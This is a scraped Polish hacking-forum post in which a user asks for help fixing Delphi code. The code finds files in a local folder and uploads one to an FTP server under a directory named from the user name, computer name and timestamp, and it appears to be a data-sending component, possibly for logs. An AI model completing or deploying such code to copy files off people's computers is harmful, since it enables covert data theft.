Quantcast
Channel: HAKER - Forum Komputerowe
Viewing all articles
Browse latest Browse all 4549

begin end

$
0
0
czy moglby ktos poprawic ten kod? wiem ze z pętla while cos jest nie tak...wywala błąd
Cytat:

Variable 'Fik' might not have been initialized
Cytat:

sciezka := 'c:\folder\';
begin
if DirectoryExists (sciezka) then
Fik := FindFirst( sciezka + 'plik.*', faAnyFile, SR);
while (Fik = 0) do
begin
Fik := FindNext(SR);
FindClose(SR);
CurrData := '';
idFTP1.Host := 'ftp.serwer.pl';
idFTP1.Username := 'yyy';
idFTP1.Password := 'xxx';
IdFTP1.Port:= 21;
idFTP1.Connect();
CurrData := FormatDateTime('dd-mm-yyyy_hh_nn_ss', Now);
IdFTP1.MakeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
IdFTP1.ChangeDir(UserName+'_'+'_'+ComputerName+'_'+CurrData);
idFTP1.Put (sciezka+'\L','L');
idFTP1.Disconnect();
end;
end;
end;

Viewing all articles
Browse latest Browse all 4549

Trending Articles


TRX Antek AVT - 2310 ver 2,0


Автовишка HAULOTTE HA 16 SPX


POTANIACZ


Zrób Sam - rocznik 1985 [PDF] [PL]


Maxgear opinie


BMW E61 2.5d błąd 43E2 - klapa gasząca a DPF


Eveline ➤ Matowe pomadki Velvet Matt Lipstick 500, 506, 5007


Auta / Cars (2006) PLDUB.BRRip.480p.XviD.AC3-LTN / DUBBING PL


Peugeot 508 problem z elektroniką


AŚ Jelenia Góra